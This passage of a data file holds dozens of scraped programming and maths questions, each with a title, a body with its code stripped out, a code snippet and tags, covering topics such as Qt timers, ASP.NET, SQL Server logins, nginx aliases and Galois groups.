algebra abstract-algebra matrices discrete-mathematics automata"], "631119": ["How
to emit signals with an interval in Qt?", "I'm writing a simple port communication
program. On the GUI side of the application I have a panel with 12 buttons that
send signals to the parallel port interface. The communication with the port is
done and working. What I need now is an automatic switching between buttons. The
goal is to start kind of screensaver that will periodically activate the buttons
and send signals to the port. In practice it would look like this: a timer is
started for 2 minutes and if any event occurs it is restarted. Otherwise if timer
reaches the qt signal is emitted, the switching begins and the buttons are
automatically 'ed with the interval of 5 seconds.\nMy questions are:\n\nHow to
enable a starting timer that will be reseted if any key/mouse event occurs?\nHow to
define a transition between the buttons with a sleep interval?\n\n", "timeout()",
"qt events timer"], "4405814": ["Forum message thread in asp.net MVC", "My goal is
to create a simple forum from scratch in ASP.net MVC.\nWhy? Because I want to learn
how to. \nAlso relatively new to ASP.net MVC I would like to do the following.\nI
have a messageRepository which communicates to my message table in my DB. \nI have
function here called named\n\nNow I also want to create an overload function which
takes a message id as a parameter and then returns a list of all messages
containing this parameter. \nsort of like this.\n\nSo my question : Does anyone
know how to do this? \nAlso if you think my approach is wrong please tell me. \
nUPDATE: \nOk I made some changes so right now I'm using a linq statement to fill a
message variable like so \n\nWhich is roughly what I asked for.\nSo my solution I'm
giving all my threadReplyIDs the same id as my ThreadID. \n", "public
IQueryable<Message> FindAllMessages()\n {\n return db.Messages;\n }\
n", "asp.net asp.net-mvc mvc"], "12827": ["Cannot open database \"SbManagementDB\"
when starting Windows Server Service Bus", "I'm trying to set up a Windows Server
Service Bus installation on my Windows 8 machine for development purposes. It's
configured to use the LocalDB\\v11.0 instance to function as its storage.\nI've
created a local account called \"ServiceBus\" to act as the principal account for
the service and specified it during the configuration of the new farm.\nAt the
point in the configuration where the Windows Services are started, the
configuration fails to complete. Checking the Application log, I have the following
exception recorded:\n\nChecking in the SQL-server logs, I don't see any failed
login attempt.\nI can see there expected databases exist there, and a server login
exists for the user account, configured to use Windows Integrated Authentication.\
nTo investigate further, I've written a small application which attempts to open a
connection to the database. If I run it under my user context, the connection opens
successfully. Running it under the service account's context causes the same
exception to appear. If I change the connection-string this application uses to
specify \"master\" as the database, the connection is established successfully for
the service account.\nThe issue is definitely related to the service account's
ability to connect to the specified database.\nWhat can I do to diagnose the
problem further and get the service bus to connect to the database successfully?\
n", "Microsoft.ServiceBus.Commands.Common.Exceptions.HostNotConfiguredException: \
nEntry for host Pininfarina is not present
in Service Bus farm management database. \n--->
System.Data.SqlClient.SqlException: Cannot open database \"SbManagementDB\" \n
requested by the login. The login failed.\nLogin failed for user 'Development-PC\\
ServiceBus'.\n at
System.Data.SqlClient.SqlInternalConnection.OnError(SqlException exception, Boolean
breakConnection, Action`1 wrapCloseInAction)\n at
System.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject
stateObj, Boolean callerHasConnectionLock, Boolean asyncClose)\n at
System.Data.SqlClient.TdsParser.TryRun(RunBehavior runBehavior, SqlCommand
cmdHandler, SqlDataReader dataStream, BulkCopySimpleResultSet bulkCopyHandler,
TdsParserStateObject stateObj, Boolean& dataReady)\n at
System.Data.SqlClient.TdsParser.Run(RunBehavior runBehavior, SqlCommand cmdHandler,
SqlDataReader dataStream, BulkCopySimpleResultSet bulkCopyHandler,
TdsParserStateObject stateObj)\n at ...\n", "sql-server-2012"], "159153":
["Change shortcuts of pidgin", "In pidgin, I would like to change the keyboard
shortcut of sending messages from Enter to Alt+S, does anyone know how to do it?\
n", "", "keyboard-shortcuts shortcuts pidgin"], "3975396": ["Starting a new app
with database support", "I'm starting a new C# project that uses a database, but I
want it all to be version controlled. I'm thinking about a SQL server database (If
I make a mdf file, will I be able to use it in a computer without SQL Server
installed?) and LINQ to SQL.\nHow do you usually start a project like this? Do you
create a .sql file to create the database and then create the linq models? Is there
a better way?\n", "", "c# .net sql-server database version-control"], "4432214":
["Itextsharp - font for IElement with stylesheet", "var style = new StyleSheet();\
n\nthe above two lines working, but this next line got error\n\nerror:\nThe best
overloaded method match for
'iTextSharp.text.html.simpleparser.stylesheet.loadTagStyle(string,string,string)'
has some invalid arguments\n", " style.LoadTagStyle(HtmlTags.TABLE,
HtmlTags.COLOR, \"#000\");\n style.LoadTagStyle(HtmlTags.BODY,
HtmlTags.FONTFAMILY, BaseFont.TIMES_ROMAN); \n", "itextsharp"], "6009304":
["Linux: How to send all files in the directory to remote directory via sftp",
"Just like the title sugests I have a local dir, say:\n\nAnd I want to send all
files in that dir to a remote location:\n\nHow do I do that with ?\nPS. I need an
answer for SFTP specificaly, I can not use SCP or anything else.\n",
"/home/whoever/files_to_send\n", "linux sftp"], "4020657": ["Convert from erb to
haml of spree-master/core/app/views/spree/address/_form.html.erb", "Getting problem
when converting from erb to haml of
spree-master/core/app/views/spree/address/_form.html.erb\n\nFile is here:\
nhttps://github.com/spree/spree/blob/master/core/app/views/spree/address/
_form.html.erb\n\nI tried by http://html2haml.heroku.com, getting Internal Server
Error.\nGetting problem on line no. 52 in javascript.\nAgain I converted whole file
without javascript portion, then It converted successfully but when I used this
file, it shows error in line no. 50 ].join.gsub('\"', \"'\").gsub(\"\\n\", \"\")
\nMy problem is that I want to change default spree address form and want to
customize it accordingly but unable to customize it because I am unable to convert
it into haml as we are working in haml.\n", "", "ruby-on-rails haml spree
html2haml"], "1850989": ["Outlook - Reply To All disconnects?", "Had Exchange die
on me last week, and had to rebuild the box. \nUpon rebuilding, everything seems
to work as normal except when I hit Reply To All; Outlook disconnects from Exchange
temporarily.\nI've never seen this, and I can't seem to properly search for it. \
nAny ideas? \n", "", "outlook exchange disconnects"], "663258": ["hgweb.cgi throws
a 502 (bad gateway) when pushing", "\nPossible Duplicate:\nhgweb.cgi throws a 502
(bad gateway) when pushing \n\nThis post is a duplicate of 4973331\n", "", "iis7
mercurial hgweb"], "2732068": ["My Sales Order in C# not working properly", "\
nPossible Duplicate:\nQty Control in C# \n\nI hope the mods don't mind reposting
this again. The code below does not work the way it should. When the end user
clicks the btQty button the quantity goes to -2. When it should be going by down by
one (as sales are made). Here is the code and thanks in advance..\n\n", "
cs.Open();\n int ret;\n string Query = \"SELECT QTY from tblStock WHERE
ID=1\";\n SqlCommand cmd = new SqlCommand(Query, cs);\n string str =
Convert.ToString(cmd.ExecuteScalar());\n if (str != \"\")\n {\n ret =
Convert.ToInt32(cmd);\n }\n else\n {\n ret = -1; \n }\n\n if
(ret == 0)\n {\n lbqty.Text = \"Not enough stocks.\";\n
dgUpdate();\n }\n\n else\n {\n cmd.CommandText = \"UPDATE
tblContacts SET QTY = QTY-1 WHERE ID=1\";\n cmd.ExecuteNonQuery();\n
if (ret == 1)\n {\n lbqty.Text = \"Re-order. Remaining stocks:
1\";\n dgUpdate();\n }\n else\n {\n
txtQty.Text = \"Remaining stocks: \" + (ret - 1).ToString();\n
lbqty.Text = \"Remaining stocks: \" + (ret - 1).ToString();\n
dgUpdate();\n }\n }\n cs.Close();\n", "c#"], "4911056": ["Custom
MembershipProvider with Web interface and DAL", "I'm working on an ASP.NET solution
with 2 projects. One is the web interface and the other contains my business logic.
I'm using LINQ to SQL for my data access in the second project.\nApart of my
database, I have a table called Users which holds user information.\nI've started
to implement a MembershipProvider. I notice that MembershipUser is coupled with
MembershipProvider. What is the most correct way of getting my BLL/DAL to talk
about Users?\nShould I minimally implement MembershipUser and whenever a user calls
a method, it will call for eg. GetUserInfo() in my BLL/DAL, to get complete
information about the user?\nOr should I make the MembershipUser class methods call
my custom \"Users\" class methods (like a wrapper) in the BLL/DAL (this custom
users class is not related to linq)?\nOr can I somehow extend the Linq to sql class
\"CFUsers\" to extend MembershipUser.\nI hope this makes sense. \n", "", "asp.net
linq membership asp.net-membership custom-membershipprovider"], "2238527":
["Setting up a web application to automatically run authenticated calls over HTTP
to a remote website without repeated human authentication", "I want to be able to
set up a web application to automatically (i.e. on a cron run) send a POST request
to a remote website. The remote website requires a username/password combination
to be sent as part of the POST data. I want the web application to be able to make
the POST requests of the remote website without requiring the user to provide the
password to be sent with the POST data, each time the request is made.\nIt seems to
me that the only way to do this is to store passwords directly in the database, so
that the cron run can execute a POST request that includes the password as part of
its POST data. Without storing the password in some form in the database, it seems
it would be impossible to provide it in the POST data, unless the user provides it
each time the request is made.\nQuestion 1: Am I mistaken and somehow overlooking
something logical?\nQuestion 2: Assuming I have to store the passwords in the
database, what is the safest procedure for doing so? (MD5 and similar one-way
encryption clearly will not work because I have to send an unencrypted password in
the POST request.)\nThank you for your help!\n", "", "authentication encryption
passwords xml-rpc"], "3289553": ["Displaying the custom taxonomies side by side on
the admin dashboard", "I got 5 top level cats and for each of these top level cats,
I have directly corresponding 5 non-hierarchal custom taxonomies. \nBy default,
WordpPress UI display these CT's one after the other. Right below the cats... By
using a plug in, I can define the order... As far as admin UI options, WP gives me
the ability to change the UI from 1 col to 2 col view which helps but not
totally. \nIn 2 col view, I can easily see that I got plenty of room to fit in at
least 3 or 4 CT's floating next to each other. When I turned the 2-col view
however, current UI allows me to drag only one tag box into what's below the post
content editor. So, with 2 col view, I don't get to do what I wanted to. There
simply is no point to drag a tag box below the post editor cause it is
unnecessarily too long. \nIs it possible to make the tag boxes to float right next
to one another? \nSo, The more room there is, the more the CT's show side by
side. \n\n", "post content___________________________________________________cats
box here\n\nCT 1__________CT 2__________CT 3__________CT 4__________ \n\n\
nCT 5__________\n", "custom-taxonomy admin ui"], "3011850": ["Does multitail follow
the inode or the file name by default?", "For d files one usually uses instead of
to follow the log file contents. Does automatically follow the name instead of the
inode (which likely changes with the log rotation)?\nI sifted through the
documentation and also searched on the web, but wasn't able to come up with a
conclusive answer.\n\nThanks to the accepted answer I found that the page does
mention the option I wanted, but uses the term \"descriptor\" instead of \"inode\".
So this question and the answer should be the glue for the next person researching
the topic.\n\n", "logrotate", "tail multitail log-files"], "4907274": ["varnish3,
mod_geoip with apache2 using mod_rewrite and mod_rpaf", "I am maintaining a website
with 3 different versions of the site, with 3 different languages, handles with a
single system written in php, which takes in environment variables based on the
domain name that is being accessed.\nThese
are the three sites:\n\nmyshop.com : english international version\nmyshop.eu :
european version of site\nmyshop.ru : russian version of the site\n\nwhen
myshop.com is accessed from russia it is to be redirected to myshop.ru, and any
country from europe accesses myshop.com, is redirected to myshop.eu, and
international visitors stay at myshop.com, although they can go to the country
specific site. All these redirections for the country is done using GeoIP apache2
mod in order to determine the country code, which is used in a RewriteCondition to
state a RewriteRule, there are some exceptions of IPs that do not do the rewrite
for, basically the IPs of the developer's PCs. The site has been doing just fine,
until we decided to setup varnish to give the site a boost, it really did give it a
great boost, but the country specific rewrites has become buggy.\nWhat started to
happen is that a russian visitor can go to myshop.com and won't be redirected,
until he clicks a random link (perhaps a link not cached by varnish yet) and the
user is redirected to their specific country.\nFor that i setup mod_rpaf, and for
exceptions to the rewrite rule (for the developer's ip), i used this , and i
restarted varnish and apache2, it worked for a while, then it messed up again.\nAnd
whole day i have been doing changes however i have little no clue as to what's
going on, sometimes it works, and sometimes it doesn't, and sometimes it half
works, etc...\nAs for geoip, i used a php to check the variable, and here is the
general idea of the output\n\nNow, thanks to the \"random\" redirects, i hardly
have a clue as to what is going on, so can you guys please give me some ideas as to
what tools to use to debug this? I have tried to see the redirect logs, but they
really dont show much, and varnishlog isn't helping much either - although i must
admit i am no professional at varnish.\nI believe the problem is with varnish
trying to cache the url, and thus apache redirects are not being done properly,
however visits the site first has a redirect, and based on that other users are
served the content, depending on from where the user was when the cache was last
updated, is it correct? if so, how can i solve the problem?\nAlso, i have the
option of using geoip redirects on varnish3 instead of using apache2 to do the
redirects, is that what the best practice is? Any suggestion as to debugging this
or to fix this would be helpful!\nthnx!\n", "RewriteCond %{HTTP:X-FORWARDED-FOR} !
^43\\.43\\.43\\.43", "apache2 mod-rewrite varnish geoip mod-rpaf"], "103964": ["How
to generate javadoc using ubuntu + eclipse to my project", "My java code has been
commented using /** structure for each function. So i want to generate all
documentation automatically using:\n\nBut by default, on eclipse javadoc is not
installed. I have readed many tutorial but don`t are working for me.\nThe problem
is, i don't know what Javadoc command i must use on linux. In windows i must look
for the javadoc.exe\nSomeone know the steps to do it?\nThanks in advance.\nEDIT 1:
SOLUTION\nInstalling on ubuntu:\n\nAnd restarting eclipse the javadoc command
appared: /usr/bin/javadoc and run perfectly. \nThanks all. \n", "Project > Generate
javadoc\n", "java comments javadoc documentation-generation"], "4734324": ["How to
add flash object into custom task pane of Outlook using VSTO?", "Can you please let
me know how to add flash object into the custom task pane using VSTO?\n", "",
"outlook outlook-2007 outlook-addin outlook-2007-addin"], "4432212": ["How access
hidden button using javascript", "i have a link button to remove the selected value
in the user control. If we are adding value to the control means i have to make
this link button visible. so i am passing the client id of the link button to the
user control and saving that id in a hidden control in the User control. and one i
select the value in the user control im making the link button visible.\nProblem:\
nIf the link button visibility false means unable to access the control.\nvar
removeUser = document.getElementById(elementRemoveUser.value); returns null. if the
control is visible means it is working fine.\n\n", " var elementRemoveUser =
document.getElementById(\"<%=hdnRemoveUser.ClientID %>\");\n if
(elementRemoveUser.value != '') {\n var removeUser =
document.getElementById(elementRemoveUser.value);\n if (removeUser !=
null) {\n removeUser.style.visibility = \"visible\";\n }\
n }\n", "javascript asp.net control visibility"], "4155388": ["Set-up the
application Language in Android Preferences", "I would like the application
language to be set according to the user preferences but up till now it doesn't
work how I would like it to.\nI have set the default values: strings.xml and also
values-es with a strings.xml inside in spanish. I have a menu option which brings
the user to a Preference activity where he can amon gother things chose the
language. \nSo here are some extracts of the code: \n\nSo when I change the
language it works but then when I come back later or restart the emulator the
language gets back to default locale the en_US and the app language gets changed
back to default again. What can I do to sort that out? \nI know I can get this
preference (which I can access to from all my activities) and then each time set up
the locale but I find it a bit heavy isn't there a way to do it in a more elegant
way? \nWhat I would like to do is if the user sets up the language so when he comes
back 2 days later he doesn't have to change the language again.\nAny ideas? thanks
in advance\n", "public class Preference extends PreferenceActivity implements\n
OnSharedPreferenceChangeListener {\n......\n// Set up a listener whenever a key
changes \n getPreferenceScreen().getSharedPreferences()\
n
.registerOnSharedPreferenceChangeListener(this);\n\n\n...}\n//(......)\n\n//and
here I have the listener so when the language pref changes value the locale gets
changed.\n @Override\n public void
onSharedPreferenceChanged(SharedPreferences sharedPreferences,\n String
key) {\n if (key.equals(\"listPref2\")) {\n String idioma =
sharedPreferences.getString(\"listPref2\", \"catala\");\n if
(\"castella\".equals(idioma)) {\n idioma = \"es_ES\";\n\n
Locale locale = new Locale(idioma);\n Locale.setDefault(locale);\n
Configuration config = new Configuration();\n config.locale =
locale;\n
getApplicationContext().getResources().updateConfiguration(config,\n
getBaseContext().getResources().getDisplayMetrics());\n }\n }\n
}\n", "android locale languages"], "6009306": ["Difference between transforming a
view's layer and transforming a view directly?", "Hi\nTrying to both translate(x,y)
and scale some images when my application rotates.\nIt seems there are more than 1
way to do this.\nI can use 'setValue forKeyPath' method to transform a view's layer
\n\nor I can transform a view directly using CGAffineTransform transform.\n\nCan
anyone tell me what the difference is? Is there a 'best practice' to use when both
scaiing and translating? \n", " [containerView.layer setValue:[NSNumber
numberWithFloat: .7] forKeyPath: @\"transform.scale.x\"]; \n [containerView.layer
setValue:[NSNumber numberWithFloat: .7] forKeyPath: @\"transform.scale.y\"]\n",
"objective-c transform"], "1816608": ["Explicit computation of a Galois group", "\
nLet $E$ be the splitting field of $x^6-2$ over $\\mathbb{Q}$. Show that $Gal(E/\\
mathbb{Q})\\cong D_6$, the dihedral group of the regular hexagon.\n\nI've shown
that $E=\\mathbb{Q}(\\zeta_6, \\sqrt[6]{2})$, where $\\zeta_6$ is a (fixed)
primitive sixth root of unity, and thus that $[E:\\mathbb{Q}]=12$.\nI'm getting a
little mixed up working out the automorphisms, though. I know the Galois group is
determined by the action on the generators $\\zeta_6$ and $\\sqrt[n]{2}$. So then
the possibilities appear to be: \\begin{align*}\\sqrt[6]{2}&\\mapsto\\zeta_6^n\\
sqrt[6]{2}\\;\\;\\;\\mbox{ for } n=0,1,\\ldots ,5 \\\\ \\zeta_6&\\mapsto \\
zeta_6^j\\;\\;\\;\\;\\;\\;\\;\\;\\mbox{ for } j=1,5\\,.\\end{align*}\nDoes this
make sense? Something doesn't quite feel right, but I'm not sure where the issue
might be. I know that in some sense the generators are \"independent\", because I
definitely can't get one generator from the other. (For example, it'd be different
if we had fourth roots of unity because we could get $\\sqrt{2}$ from both
generators.)\nAny help is appreciated\n", "", "abstract-algebra galois-theory"],
"1455221": ["How to configure pfsense to use LAN ports as local switched ports?",
"I have a pfsense box with 6 LAN ports. I'd like to use one as the WAN port, and 5
as local LAN ports, just like a home gateway/router. How to setup the LAN ports so
that they are all in the same subnet? It seems that the bridging function only
wants to bridge between WAN and LAN?\n", "", "firewall lan pfsense"], "4444492":
["Simple refactoring example", "Given the following code:\n\nIt needs to be changed
and may not return a bool, for example:\n\nShould you ensure it does return a bool
or just change the method completely?\nWhat's the right approach to this type of
problem?\n", "public static bool UpdateUser(string userId, \n
string jobTitle)\n{ \n return GetProvider().UpdateUser\n
(userId, jobTitle);\n}\n", "refactoring coding-style"], "5087903": ["String.h
Errors From g++ Compilation", "I cannot make heads or tails of the following C++
error generated by g++\n\nDoes anyone know what these errors are in reference to
and how I can fix them?\n", "/tmp/ccH0IPVU.o: In function
`myAPP::mandatory_bitfield_t::to_s(std::basic_string<char, std::char_traits<char>,
std::allocator<char> >&, std::basic_string<char, std::char_traits<char>,
std::allocator<char> >)':\nmyAPP.cpp:
(.text._ZN3myAPP20mandatory_bitfield_t4to_sERSsSs[myAPP::mandatory_bitfield_t::to_s
(std::basic_string<char, std::char_traits<char>, std::allocator<char> >&,
std::basic_string<char, std::char_traits<char>, std::allocator<char> >)]+0x8c):
undefined reference to `myAPP::to_s(unsigned char*, int)'\n/tmp/ccH0IPVU.o: In
function `myAPP::optional_bitfield_t::to_s(std::basic_string<char,
std::char_traits<char>, std::allocator<char> >&, std::basic_string<char,
std::char_traits<char>, std::allocator<char> >)':\nmyAPP.cpp:
(.text._ZN3myAPP19optional_bitfield_t4to_sERSsSs[myAPP::optional_bitfield_t::to_s(s
td::basic_string<char, std::char_traits<char>, std::allocator<char> >&,
std::basic_string<char, std::char_traits<char>, std::allocator<char> >)]+0x8d):
undefined reference to `myAPP::to_s(unsigned char*, int)'\ncollect2: ld returned 1
exit status\n", "c++ string g++ compiler-errors"], "414440": ["Convert an image to
an iPhone toolbar icon", "I have a grayscale icon that I'm editing with Photoshop
with a transparent background, but I can't, for the life of me, figure out how to
convert the icon to one that can be used as an iPhone toolbar icon. If I simply
save the image as a PNG, it doesn't show up as anti-aliased on the iPhone because
every pixel with color is being rendered as black, instead of a shade of gray.\
nAccording to the Apple docs and other sources, there needs to be an alpha channel
on the image to specify varying levels of transparency for each pixel. However, I
have no idea what that means. I've read these posts and docs from Adobe and I still
can't figure out how to properly convert a grayscale image into one that can be
used as an iPhone toolbar icon. The blog post is hard to comprehend and poorly
written, and the Adobe docs don't really
help.\nhttp://cahit.hayalet.net/blog/514/converting-an-image-to-iphone-toolbar-
icon/\nhttp://livedocs.adobe.com/en_US/Photoshop/10.0/help.html?content=WS74B356C9-
353F-4483-8632-7B1A102F2A2E.html\nCan someone point me in the right direction or
provide exact, step-by-step directions to doing this in Photoshop?\n", "", "iphone
icons toolbar photoshop alpha"], "2448838": ["How to get the mysql table columns
data type?", "I want to get the column data type of mysql table.\nThough structure
but it was enumerated field types.\nthen i tried with \nfor me the error which i am
getting is \nplease help to get the column data type\n", "MYSQLFIELD", "mysql c"],
"631216": ["Lucene.NET based text triage", "I have the following task that I need
to implement in .NET. I get a block of text and need to assess whether this text is
mostly readable or a bunch of unreadable garbage. This text is generated by
processes like OCR. I am not looking to detect or correct small errors. Instead, I
need to \"triage\" the text block and return TRUE if the whole block is more or
less readable (as well as searchable etc) or FALSE if it's mostly garbage.\nMy
current plan is to:\n\nUse Lucene.NET to index a large dictionary of English
words \nTokenize the text, throwing out stopwords, words shorter than some minimum
#\nof chars \nQuery each token against the index using some sort of fuzzy\nmatch
that would give me not only the closest match to a given token\nfrom the dict but
also the distance \nSomehow combine individual\ndistances to come up with a
cumulative measure for the whole block\nof text \nCompare it against some threshold
and return FALSE if the\nmeasure is above the threshold and TRUE otherwise.\n\nHere
are some questions:\n\nIs there anything special I need to do during indexing of
the dictionary to make the fuzzy matching work better?\nWhat sort of fuzzy matching
methods are available in Lucene.NET querying? Do they return distances for the
closest matches? Does the choice of a matching method affect how indexing should be
done?\nIs there a way of running the whole block of text against the index at once
rather than tokenizing and looping over tokens?\n\nThanks much!\n", "", "lucene.net
fuzzy"], "1722773": ["C# Generic constraints to include value types AND strings",
"I'm trying to write an extension method on IEnumerable that will only apply to
value types and strings.\n\nHowever 'string' is not a valid constraint as it is a
sealed class.\nIs there any way to do this?\nEdit:\nWhat I'm actually trying to do
is prepare a list of values for an \"IN\" clause in a dynamically constructed SQL.\
nI have lots of instances of code such as the following that I want to clean up:\n\
nWhere ToSQL() has code to handle SqlInjection.\n", "public static string
MyMethod<T>(this IEnumerable<T> source) where T : struct, string\n", "c# string
generics constraints value-type"], "1797029": ["C# If Statement with value from
field in Table", "How do I write this statement to get a value back from the
database or table and validate that if the Value = Yes it will return the \"Result
=10\" part. The field is called \"ApprovedStatus\" the value will either be \"No\"
or \"Yes\". \nVisual Studio Tells me this: \"The name 'Yes' does not exist in the
current context\"\n\n", "If (ApprovedStatus.Equals = Yes)\n{\nresult = 10;\n}\n\
nelse\n{\nresult = 1;\n}\n", "c# database if-statement statement visual-studio-
lightswitch"], "4454439": ["Is there a visualization tool that can inspect a Java
code base and report inter-package dependencies?", "We have a Java code base that
has grown to be too big for a single monolithic JAR (more than 5000 classes). One
of the tasks that we are investigating is how much effort would it be to break this
single JAR into smaller components with controlled dependencies between them.
However, it's somewhat hard to look at a big bag of code and be sure that you are
finding the best points of separation without some analysis.\nAre there good tools
to inspect and visualize the interpackage dependencies? Given those, we would have
a set of suggested cut points where we could begin separating code.\nAs an example,
in the days before Netbeans and Eclipse (and at a different job), we used TogetherJ
and TogetherEnterprise. Those had the ability to do a static package analysis and
draw the UML diagram. That sort of behavior would be optimal but that feature
alone is not sufficient to justify the cost.\n", "", "java uml dependencies
packages static-analysis"], "609246": ["How to set UILocalNotifications for daily
weekly and yearly", "I have an iPhone App in which i am using to fire
UILocalnotification daily, Weekly and Yearly is there any good tutorial for that am
using this code to set the notification\n\nthankx\n", "- (void)alertSelector:
(NSString *)AlertTitle WithFiringTime:(NSDate *)date{\n UILocalNotification
*localNotification = [[[UILocalNotification alloc] init] autorelease];\n\n if (!
localNotification) \n return;\n // Set the fire date/time\n
[localNotification setFireDate:date];\n [localNotification setTimeZone:
[NSTimeZone defaultTimeZone]];\n\n // Create a payload to go along with the
notification \n NSDictionary *data = [NSDictionary dictionaryWithObject:date
forKey:@\"payload\"];\n [localNotification setUserInfo:data];\n\n // Setup
alert notification\n [localNotification setAlertBody:AlertTitle];\n
[localNotification setAlertAction:@\"View\"];\n [localNotification
setHasAction:YES]; \n\n [UILocalNotification setBadge];\n\n//
localNotification.soundName = UILocalNotificationDefaultSoundName;\n//
localNotification.soundName=@\"voice.aif\";\n\n // Schedule the notification
\n [[UIApplication sharedApplication]
scheduleLocalNotification:localNotification];\n}\n", "iphone objective-c ios
localnotification"], "640866": ["Multiple Nginx Alias to One Location", "I would
like to create a location rule for two alias to one location.\nThis is the rule
used for one location:\n\nWhat I would like to do is define two alias in location.
So for example,\nI can visit http://domain.com/styles/file.css and
http://domain.com/css/file.css\nand it would go to one alias which is
/var/www2/styles/\nI've tried something like this, but it did not work for me.\n\
nBut the again, I don't know regex much.\n", "location ~ ^/images/(.*)$ { alias
/var/www2/images/$1; }\n", "regex nginx alias"], "5310959": ["ClassLoader problem
when using GWT RequestFactory with Grails", "In order to get GWT RequestFactory
running with Grails, I am using the following approach:\n\nwhere DummyServletConfig
is a simple implementation of \nThis is working when deploying the app to tomcat.
However, using testing or development mode, it is not. I was required to adjust the
GWT Servlet in order to prevent it from using the wrong Class Loader:\nIn line 46 I
changed\n\nto\n\nOtherwise, it wouldn't find my Domain classes (which apparently do
not reside in the GrailsRootLoader but in the Thread's class loader).\nNow I would
like to revert my GWT servlet to the official binary released by Google and I
wonder how I can fix the incorrect ClassLoader in Grails or make the
RequestFactoryServlet work correctly without altering the GWT source.\n", "class
GwtController extends RequestFactoryServlet {\n\n public GwtController() {\n
super()\n }\n\n def index = {\n doPost request, response\n }\n\n
@Override\n public ServletContext getServletContext() {\n return
ServletContextHolder.servletContext\n }\n\n @Override\n public
ServletConfig getServletConfig() {\n return new
DummyServletConfig(getServletContext(),\"grails\");\n }\n}\n", "java gwt grails
classloader requestfactory"], "1692014": ["SQL: sum of a value but for distinct ids
only - conditional sum?", "I have following structure:\nDay with multiple events of
typ1 and typ2, where typ1 and typ2 have foreign keys to their respective days. Typ2
also has duration.\nNow I want to count
all typ1 events, all typ2 events and sum of the typ2 duration.\nExample Data:\
nDay:\n\nTyp1:\n\nTyp2:\n\nI now want the result:\n\nMy problem is the sum, I need
something like \"sum for distinct typ2.ID\"... Does anyone know a way to solve
that?\nI'm using something like the following, but that of course does not work the
way I want:\n\n", "ID = 1 | Date = yesterday | ...\n", "sql sum conditional"],
"5166415": ["Setting background images in JFrame", "Are any methods available to
set an image as background in a ?\n", "JFrame", "java image swing background
jframe"], "3442492": ["Detect session expired or session timeout using spring3",
"How to Detect session expired or session timeout using spring3.\n", "", "spring
session request"], "4976605": ["How writing a shell script to add enough zeros to
have six digits for each number?", "I have a list of numbers (each number having
less than 6 digits) in a .tsv file like that :\n4559\n123\netc\nand I need to have
a list of numbers of 6 digit like that :\n004559\n000123\netc\nThanks a lot\n", "",
"bash shell script numbers"], "2378696": ["Necessary permissions for Task Scheduler
in PowerShell v1.0", "I'm very confused at what permissions are necessary to run
scheduled tasks. If I schedule a task to run at 5am every day, what user does that
run under? Does that user need log on access?\n", "", "scheduled-tasks task-
scheduler"], "5011002": ["css display buttons in same line with fixed percentage
width", "I need to display 2 buttons using jquery mobile and the code is here:
http://jsfiddle.net/kiranj/rQ3mh/3/\nHowever, I need to make sure \n1) first button
is left aligned, has a fixed width of 40% and\n2) second button is right aligned,
has a fixed width of 40%\nSeems like I am missing some important thing in achieving
this simple looking functionality. Appreciate any help\nFor reference, here is the
code:\nHTML:\n\nHere is the css:\n\n", "<!DOCTYPE html> \n<html> \n <head> \n
<title>My Page</title> \n <meta name=\"viewport\" content=\"width=device-width,
initial-scale=1\"> \n <link rel=\"stylesheet\"
href=\"http://code.jquery.com/mobile/1.1.0/jquery.mobile-1.1.0.min.css\" />\n
<script src=\"http://code.jquery.com/jquery-1.7.1.min.js\"></script>\n <script
src=\"http://code.jquery.com/mobile/1.1.0/jquery.mobile-1.1.0.min.js\"></script>\
n</head> \n<body> \n\n <br/><br/><br/>\n<div data-role=\"fieldcontain\">\n
<input type=\"submit\" name=\"agree\" data-inline=\"true\" data-corners=\"false\"
data-theme=\"b\" id=\"pageptosagree\" value=\"Agree\" />\n <input
type=\"submit\" data-inline=\"true\" data-corners=\"false\" name=\"notAgree\"
id=\"pagetosdonotagree\" value=\"I Do Not Agree\" />\n</div> \n\n</body>\
n</html>\u200b\n", "css button jquery-mobile inline"], "77032": ["How do I sanitize
a workflow uploaded by a user?", "I have a multi-tenant application that may run
arbitrary workflows as needed. \nI plan on using the workflow designer to create
these workflows, but even if I limit the Activities in the Toolbox, that doesn't
prevent a malicious user from editing his own XAML file, doing activities I'd
rather them not (specifically calling out to the .NET framework) \nFor a given
workflow, how do I verify that the only actions being used are those I approve of?
Is an XPath query the only way, or is there a feature within WF that will validate
this?\nIf you need a visual introduction to what I'm looking for here is a sample
project and video referring to it. \n", "", "xpath workflow-foundation workflow-
foundation-4 multi-tenant"], "3945153": ["Probability with my Facebook friends",
"If I have 5000 Facebook friends, what is the probability that a day with no one
having that birthday exists? I assume there are 365 days in a year, and a uniform
distribution of the dates of birth.\nI guess that it's easier to calculate the
opposite, and to subtract it from one.\n", "", "probability combinatorics"],
"1535241": ["RegexKitLite - iOS: unrecognized selector", "I have a project that
must use regular expressions, so I decided to use RegexKitLite, I downloaded it,
have added RegexKitLite.m into \"Compile Sources\", and RegexKitLite.h into \"Copy
Files\" sections. Added libicucore.A.dylib to project Libraries. Imported
RegexKitLite.h into my class, and write code (just for test):\n\nAfter that I have
error message: \n\nWhat I have missed? Please help me..\n", " NSString *str
= @\"testing string\";\n if ([str isMatchedByRegex:@\"[^a-zA-Z0-9]\"])\n
{\n NSLog(@\"Some message here\");\n }\n", "ios objective-c
cocoa-touch uikit regexkitlite"], "3289550": ["Anything similar to Odesk Team App
to measure developer productivity for private use?", "Is there a tool similar to
Odesk's Team app for private use?\nWe have people who work for us on hourly basis
as needed, so we need to track how much hours were put in for a task and pay them
accordingly.\nI'm looking for web or a desktop based tool for private use so please
don't suggest Odesk or any other publicly available freelancing site based tools.\
n", "", "project-management productivity"], "1692015": ["Running into a .NET
COMException with MS Office Interop", "I am trying to work with the Windows
clipboard and Office Interop in an ASP.NET web application.\nEverything works well
on my local machine running XP (i have created a Windows application first which
ran perfectly well on local machine). Then I have executed it on a server running
Windows Server 2003 and it worked there as well.\nThen I made a ASP.NET sample
project and it worked on my local machine. However when this time I deployed it at
the server, after banging my head with permissions, it started giving me this
exception which i have no idea why it is doing this:\n\
nSystem.Runtime.InteropServices.COMException (0x80048240): \nShapes (unknown
